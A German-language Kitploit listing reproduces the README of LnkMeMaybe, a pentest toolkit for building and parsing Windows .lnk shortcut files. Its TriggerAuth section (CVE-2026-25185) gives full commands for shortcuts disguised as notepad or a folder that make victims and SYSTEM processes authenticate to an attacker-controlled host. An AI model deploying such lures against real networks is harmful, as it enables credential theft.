Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
LnkMeMaybe — Lnk-Erstellung und Forschungswerkzeuge | Kitploit
Tools/GitHubGitHub/trustedsec/lnkmemaybe
Payload-GenerierungExploitationDigitale ForensikPenetrationstestsSocial EngineeringBinäranalyse
GitHubtrustedsec/lnkmemaybe

LnkMeMaybe

Lnk-Erstellung und Forschungswerkzeuge

Repository anzeigen
1851114vor 6 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Webseite
Teilen
# LnkMeMaybe

Ein .NET 8-Toolkit zum Erstellen und Analysieren von Windows-Shell-Link-Dateien (`.lnk`). Enthält einen Befehlszeilen-Builder (`LnkMeMaybe`) und einen grafischen Editor (`LnkUi`). Vorgesehen für Sicherheitsforschung und Penetrationstests.

---

## Projekte

| Projekt | Beschreibung |
|---------|--------------|
| `Lnk/` | Kernbibliothek. Parst und erzeugt das `.lnk`-Binärformat gemäß der [MS-SHLLINK](https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/)-Spezifikation. `LnkHandler` ist der Haupteinstiegspunkt und setzt sich zusammen aus `ShellLinkHeader`, `LinkTargetIDList`, `LinkInfo`, `StringData` und `ExtraData`. |
| `LnkMeMaybe/` | CLI-Tool. Befehle zum Erzeugen verschiedener `.lnk`-Dateien. Verwendet das Titanis.Cli-Framework. |
| `LnkUi/` | Avalonia-11-MVVM-Desktop-Editor. Sieben ViewModels kapseln die entsprechenden Komponenten der `Lnk`-Bibliothek. Nützlich für manuelle Erkundung und Inspektion von `.lnk`-Dateien. |
| `LnkTests/` | MSTest-Suite. Echte `.lnk`-Dateibeispiele sind als Ressourcen eingebettet. Abgedeckt werden `ShellLinkHeader` und `LinkInfo`. |

---

## CLI — LnkMeMaybe

### Allgemeine Parameter

Allen Befehlen sind die folgenden Basisparameter gemeinsam (aus `BaseSavedCommand`):

| Parameter | Alias | Erforderlich | Beschreibung |
|-----------|-------|--------------|--------------|
| `--OutputPath` | | Ja | Dateisystempfad zum Schreiben der `.lnk`-Datei. |
| `--Overwrite` | | Nein | Überschreiben einer vorhandenen Datei unter `OutputPath` erlauben. |
| `--DisplayName` | | Nein | Text, der beim Überfahren der Verknüpfung angezeigt wird. Unterstützt `\n` für Zeilenumbrüche. |
| `--IconPath` / `-I` | `-I` | Nein | Pfad zu einer `.exe` oder `.dll`, die als Verknüpfungssymbol verwendet werden soll. Muss auf dem **Ziel**system vorhanden sein. |
| `--IconIndex` | | Nein | Index der Symbolressource innerhalb der mit `--IconPath` angegebenen Datei. Standard: `0`. |

---

### `TriggerAuth` (CVE-2026-25185)

Erstellt eine `.lnk`, die Kerberos-Authentifizierung (mit Rückfall auf NTLM) an einen angegebenen Server auslöst. Die `.lnk` führt **nichts** aus.

**Szenarien, in denen Authentifizierung ausgelöst wird:**
1. Ein Benutzer durchsucht die Freigabe, die die `.lnk` enthält — das Benutzerkonto authentifiziert sich ausgehend.
2. Die `.lnk` wird an einem Ort abgelegt, den der Rechner zu indizieren konfiguriert ist — `SearchProtocolHost` authentifiziert sich als SYSTEM.
3. MSSense ist aktiv und der Speicherort ist nicht ausgenommen — `MSSense.exe` authentifiziert sich als SYSTEM.

**Parameter:**

| Parameter | Alias | Erforderlich | Beschreibung |
|-----------|-------|--------------|--------------|
| `--FakePath` / `-F` | `-F` | Ja | Pfad, der in den `.lnk`-Eigenschaften als Ziel angezeigt wird. |
| `--Server` / `-S` | `-S` | Ja | Servername, IP oder UNC-Pfad, an den die Authentifizierung gesendet wird. Hängt `IPC$` an, wenn keine Freigabe angegeben ist. |
| `--Darwin` | | Nein | Darwin-Kennung, die in der `.lnk` gespeichert wird. Kann ein beliebiger Wert sein. Standard: `unset`. |

**Beispiele:**

```
# Authentifizierung an \\controlled.example.org\IPC$ senden, während man sich als notepad ausgibt
LnkMeMaybe.exe TriggerAuth -F C:\Windows\notepad.exe -S \\controlled.example.org -DisplayName notepad.exe -I C:\Windows\notepad.exe -OutputPath notepad.lnk

# Authentifizierung an einen bestimmten Freigabepfad senden, während man sich als Ordnerverknüpfung ausgibt
LnkMeMaybe.exe TriggerAuth -F C:\Users\Public -S \\controlled.example.org\validshare\somefile.txt -DisplayName C:\Users\Public -I C:\Windows\system32\imageres.dll -IconIndex 3 -OutputPath Public.lnk
```

---

### `WebShortcut`

Erstellt eine `.lnk`-Datei, die auf eine Web-URL verweist. Normalerweise erstellt Windows für Webverknüpfungen eine `.url`-Datei; dieser Befehl erzeugt stattdessen eine `.lnk`.

**Parameter:**

| Parameter | Erforderlich | Beschreibung |
|-----------|--------------|--------------|
| `--Url` | Ja | Die URL, auf die die Verknüpfung zeigen soll. Muss eine wohlgeformte absolute URI sein. |

**Beispiel:**

```
LnkMeMaybe.exe WebShortcut -Url https://example.org -OutputPath example.lnk
```

---

### `LocalShortcut`

Erstellt eine standardmäßige Windows-Verknüpfung zu einer lokalen Datei oder einem lokalen Ordner. Der Zielpfad wird als Shell-Element-ID-Liste (PIDL) gespeichert — das native Format, das Windows für Dateisystemverknüpfungen verwendet.

**Parameter:**

| Parameter | Alias | Erforderlich | Beschreibung |
|-----------|-------|--------------|--------------|
| `--TargetPath` | | Ja | Absoluter Pfad zur Zieldatei oder zum Zielordner. |
| `--Arguments` | | Nein | Befehlszeilenargumente, die an das Ziel übergeben werden. |
| `--WorkingDirectory` | `-W` | Nein | Arbeitsverzeichnis für den Zielprozess. |
| `--RunAsAdmin` | | Nein | UAC-Erhöhung anfordern, wenn die Verknüpfung gestartet wird. |
| `--ShowCommand` | | Nein | Fensterzustand beim Start: `Normal`, `Maximized` oder `Minimized`. |

**Beispiele:**

```
# Eine Verknüpfung zu Editor erstellen
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --OutputPath notepad.lnk

# Verknüpfung mit Argumenten und benutzerdefiniertem Symbol
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\notepad.exe --Arguments myfile.txt --WorkingDirectory C:\Users\Public --OutputPath notepad.lnk -I C:\Windows\notepad.exe

# Verknüpfung, die maximiert geöffnet wird und eine Erhöhung anfordert
LnkMeMaybe.exe LocalShortcut --TargetPath C:\Windows\System32\cmd.exe --ShowCommand Maximized --RunAsAdmin --OutputPath cmd_admin.lnk
```

---

### `EnvShortcut`

Erstellt eine `.lnk`, bei der der Zielpfad als erweiterbarer Umgebungsvariablen-String gespeichert wird (`EnvironmentVariableDataBlock`). Dies ist das Format, das Windows für Verknüpfungen zu Systemprogrammen verwendet (z. B. `%SystemRoot%\system32\notepad.exe`). Variablen werden beim Start expandiert, wodurch die Verknüpfung über Windows-Installationen hinweg portabel ist.

**Parameter:**

| Parameter | Alias | Erforderlich | Beschreibung |
|-----------|-------|--------------|--------------|
| `--TargetPath` | | Ja | Zielpfad, kann Umgebungsvariablen wie `%SystemRoot%` oder `%USERPROFILE%` enthalten. |
| `--Arguments` | | Nein | Befehlszeilenargumente, die an das Ziel übergeben werden. |
| `--WorkingDirectory` | `-W` | Nein | Arbeitsverzeichnis für den Zielprozess. |
| `--RunAsAdmin` | | Nein | UAC-Erhöhung anfordern, wenn die Verknüpfung gestartet wird. |
| `--ShowCommand` | | Nein | Fensterzustand beim Start: `Normal`, `Maximized` oder `Minimized`. |

**Beispiele:**

```
# Verknüpfung zu Editor mit einem Umgebungsvariablenpfad
LnkMeMaybe.exe EnvShortcut --TargetPath "%SystemRoot%\system32\notepad.exe" --OutputPath notepad.lnk

# Verknüpfung zu einer App im Benutzerprofil mit Argumenten
LnkMeMaybe.exe EnvShortcut --TargetPath "%LOCALAPPDATA%\MyApp\app.exe" --Arguments "--config default" --WorkingDirectory "%USERPROFILE%" --OutputPath myapp.lnk
```

---

## Erstellen

```bash
# Erstellen (Debug)
dotnet build Lnk.sln

# Erstellen (Release, nur Kernprojekte)
dotnet build -c Release build.slnf

# Alle Tests ausführen
dotnet test

# Eine bestimmte Testklasse ausführen
dotnet test --filter "ClassName=lnkHeader"

# Eigenständige ausführbare Einzeldatei veröffentlichen (Windows x64)
dotnet publish -c Release -r win-x64 -p:PublishSingleFile=true -p:DebugType=None --self-contained true --output LnkMeMaybeWindows LnkMeMaybe/LnkMeMaybe.csproj
```

---

## Veröffentlichungen

Vorgefertigte Binärdateien für Windows, Linux und macOS (x64 und arm64) sind auf der Seite [Releases](../../releases) verfügbar.

Jede Veröffentlichung enthält sowohl **eigenständige** (keine .NET-Laufzeit erforderlich) als auch **frameworkabhängige** (erfordert .NET 8-Laufzeit) Builds für `LnkMeMaybe` und `LnkUi`.

## Hinweis zur KI-Nutzung

KI-Systeme wurden für die folgenden Aufgaben eingesetzt:
- Code-Qualitätsprüfung
- README-Erstellung
- GitHub-Workflow-Aktionen

Der in diesem Repository enthaltene Code wurde ansonsten von Menschen erstellt und überprüft.
Tool herunterladen